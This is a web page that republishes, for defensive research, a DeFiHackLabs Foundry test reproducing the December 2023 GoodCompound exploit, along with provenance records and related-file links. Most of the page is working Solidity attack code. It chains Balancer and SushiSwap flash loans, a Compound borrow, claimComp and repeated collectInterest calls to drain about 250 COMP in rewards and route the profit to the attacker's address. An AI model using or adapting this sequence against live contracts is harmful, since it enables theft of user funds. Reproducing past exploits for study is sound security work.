Public reproduction file
src/test/2023-12/GoodCompound_exp.sol
Public reproduction file for dataset entry GoodCompound.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";6// @KeyInfo - Total Lost : ~$13K (250 COMP Token)7// Attacker : https://etherscan.io/address/0xdfab184bc668f16c1cb9492280685881069245698// Attack Contract : https://etherscan.io/address/0x2d89fb83c66b6c7c35818382517959e33a655b139// Vulnerable Contract : https://etherscan.io/address/0x3d9819210a31b4961b30ef54be2aed79b9c9cd3b10// Attack Tx : https://etherscan.io/tx/0x1106418384414ed56cd7cbb9fedc66a02d39b663d580abc618f2d387348354ab12// @Info13// Vulnerable Contract Code : https://etherscan.io/address/0x3d9819210a31b4961b30ef54be2aed79b9c9cd3b#code15// @Analysis16// Post-mortem : getherscan.io/tx/0x1106418384414ed56cd7cbb9fedc66a02d39b663d580abc618f2d387348354ab17// Twitter Guy :18// Hacking God :19pragma solidity ^0.8.0;21import "forge-std/Test.sol";22import "./../interface.sol";24interface IComptroller {25 function enterMarkets(26 address[] memory27 ) external;28 function claimComp(address, address[] memory) external;29}31interface ICompoundToken {32 function borrow(33 uint256 borrowAmount34 ) external;35 function repayBorrow(36 uint256 repayAmount37 ) external;38 function redeem(39 uint256 redeemAmount40 ) external;41 function mint(42 uint256 amount43 ) external;44 function comptroller() external view returns (address);45}47interface IGoodFundManager {48 function collectInterest(address[] memory, bool) external;49}51contract GoodCompound is BaseTestWithBalanceLog {52 address balancer_vault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;53 IBalancerVault balancer = IBalancerVault(balancer_vault);55 address profit_receiver = 0xa8Ca14Af6ef32A1Be44652CA13d0071bf855f8DD;57 address compound = 0xc00e94Cb662C3520282E6f5717214004A7f26888;58 IERC20 compound_token = IERC20(compound);59 address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;60 IERC20 weth_token = IERC20(weth);62 address ceth = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5;63 IERC20 ceth_token = IERC20(ceth);65 address compound_comptroller = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;66 address ccompound_token = 0x70e36f6BF80a52b3B46b3aF8e106CC0ed743E8e4;68 address sushi = 0x31503dcb60119A812feE820bb7042752019F2355;70 address univ2_router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;71 IUniswapV2Router univ2 = IUniswapV2Router(payable(univ2_router));73 address goodCompoundStaking = 0x7b7246C78e2F900D17646FF0CB2EC47D6BA10754;74 address cdai = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;76 address proxy = 0x0c6C80D2061afA35E160F3799411d83BDEEA0a5A;78 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);79 uint256 public maxUint = type(uint256).max;81 address ctoken_address = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5;82 IERC20 ctoken = IERC20(ctoken_address);84 function setUp() public {85 cheats.createSelectFork("mainnet", 18_759_541 - 1);86 deal(address(ctoken), address(this), 2_240_854_452_867); // initial tokens for setting ctoken snapshot87 cheats.prank(profit_receiver);88 compound_token.approve(address(this), maxUint); // approve for transfer89 }91 function testExploit() public {92 emit log_named_decimal_uint(93 "[Begin] Attacker COMP before exploit", compound_token.balanceOf(profit_receiver), 1894 );95 address[] memory path = new address[](2);96 path[0] = address(compound);97 path[1] = address(weth);98 uint256[] memory amounts = new uint256[](2);99 amounts[0] = 894_410_483_325_707_881_040;100 amounts[1] = 55_693_783_410_001_174_957_472;101 balancer.flashLoan(address(this), path, amounts, "");102 emit log_named_decimal_uint("[End] Attacker COMP after exploit", compound_token.balanceOf(profit_receiver), 18);103 }105 function receiveFlashLoan(106 address[] memory tokens,107 uint256[] memory amounts,108 uint256[] memory feeAmounts,109 bytes calldata userData110 ) external {111 weth_token.withdraw(amounts[1]);113 bytes memory data1 = abi.encodeWithSignature("mint()");114 (bool success1,) = ceth.call{value: 450}(data1);115 require(success1, "Call failed");117 address[] memory markets = new address[](1);118 markets[0] = ceth;119 IComptroller(compound_comptroller).enterMarkets(markets);120 ICompoundToken(ccompound_token).borrow(14_995_000_000_000_000_000_000);121 // double flashloan122 ISushiSwap(sushi).swap(4_200_000_000_000_000_000_000, 0, address(this), "0x30");124 IERC20(compound_token).approve(ccompound_token, maxUint);125 ICompoundToken(ccompound_token).repayBorrow(14_995_000_000_000_000_000_000);126 ICompoundToken(ceth).redeem(ceth_token.balanceOf(address(this)));127 // deposit to exchange weth128 bytes memory data2 = abi.encodeWithSignature("deposit()");129 (bool success2,) = weth.call{value: 450 ether}(data2);130 require(success2, "Call failed");132 // payback133 weth_token.transfer(balancer_vault, 55_693_783_410_001_174_957_472);134 compound_token.transfer(balancer_vault, 894_410_483_325_707_881_040);135 // transfer profit to a designated address136 compound_token.transfer(profit_receiver, compound_token.balanceOf(address(this)));137 }139 function uniswapV2Call(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {140 compound_token.approve(univ2_router, maxUint);141 weth_token.approve(univ2_router, maxUint);143 compound_token.transferFrom(profit_receiver, address(this), 7_400_000_000_000_000_000);144 uint256 compound_balance = compound_token.balanceOf(address(this));146 address[] memory path = new address[](2);147 path[0] = compound;148 path[1] = weth;149 univ2.swapExactTokensForTokens(compound_balance, 1, path, address(this), block.timestamp << 1);151 address[] memory path2 = new address[](1);152 path2[0] = cdai;153 IComptroller(compound_comptroller).claimComp(goodCompoundStaking, path2);155 address[] memory markets = new address[](5);156 markets[0] = goodCompoundStaking;157 markets[1] = goodCompoundStaking;158 markets[2] = goodCompoundStaking;159 markets[3] = goodCompoundStaking;160 markets[4] = goodCompoundStaking;161 IGoodFundManager(proxy).collectInterest(markets, true);162 uint256 weth_balance = weth_token.balanceOf(address(this));164 // swap back165 address[] memory path3 = new address[](2);166 path3[0] = weth;167 path3[1] = compound;168 univ2.swapExactTokensForTokens(weth_balance, 1, path3, address(this), block.timestamp << 1);170 compound_token.transfer(sushi, 4_206_320_627_691_200_181_954); // pay back172 bytes memory data = abi.encodeWithSignature("deposit()");173 (bool success,) = weth.call{value: 55_244 ether}(data);174 require(success, "Call failed");176 weth_token.transfer(sushi, 149_285_130_679_667_947); // calculated according to reserves177 }179 fallback() external payable {}180}Analysis
Dataset entry
Public Foundry test for “GoodCompound” (2023-12-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
- src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
- src/test/2023-12/Bob_exp.solSame month in the dataset · 113 lines
- src/test/2023-12/bZx_exp.solSame month in the dataset · 196 lines
- src/test/2023-12/CCV_exp.solSame month in the dataset · 78 lines
- src/test/2023-12/Channels_exp.solSame month in the dataset · 162 lines
- src/test/2023-12/ChannelsFinance_exp.solSame month in the dataset · 212 lines
- src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/ElephantStatus_exp.solSame month in the dataset · 111 lines
- src/test/2023-12/FloorProtocol_exp.solSame month in the dataset · 76 lines
- src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
- src/test/2023-12/HNet_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/HYPR_exp.solSame month in the dataset · 65 lines
- src/test/2023-12/KEST_exp.solSame month in the dataset · 127 lines
- src/test/2023-12/MAMO_exp.solSame month in the dataset · 75 lines
- src/test/2023-12/NFTTrader_exp.solSame month in the dataset · 195 lines
- src/test/2023-12/PHIL_exp.solSame month in the dataset · 53 lines
- src/test/2023-12/PineProtocol_exp.solSame month in the dataset · 118 lines
- src/test/2023-12/Telcoin_exp.solSame month in the dataset · 82 lines
- src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
- src/test/2023-12/TransitFinance_exp.solSame month in the dataset · 117 lines
- src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame month in the dataset · 151 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xdfab184bc668f16c1cb949228068588106924569
- Attack Contract
0x2d89fb83c66b6c7c35818382517959e33a655b13
- Vulnerable Contract
0x3d9819210a31b4961b30ef54be2aed79b9c9cd3b
- Attack Tx
0x1106418384414ed56cd7cbb9fedc66a02d39b663d580abc618f2d387348354ab
- Explorer: https://etherscan.io/address/0xdfab184bc668f16c1cb949228068588106924569
- Explorer: https://etherscan.io/address/0x2d89fb83c66b6c7c35818382517959e33a655b13
- Explorer: https://etherscan.io/address/0x3d9819210a31b4961b30ef54be2aed79b9c9cd3b
- Explorer: https://etherscan.io/address/0x3d9819210a31b4961b30ef54be2aed79b9c9cd3b#code
File record
- Name
- GoodCompound
- Path
- src/test/2023-12/GoodCompound_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- bd3d14bf914193943488fa7868d0e274ffc2d77e
- Language
- Solidity
- Size
- 181 lines
- Date
- 2023-12-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-12/GoodCompound_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob bd3d14bf914193943488fa7868d0e274ffc2d77e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.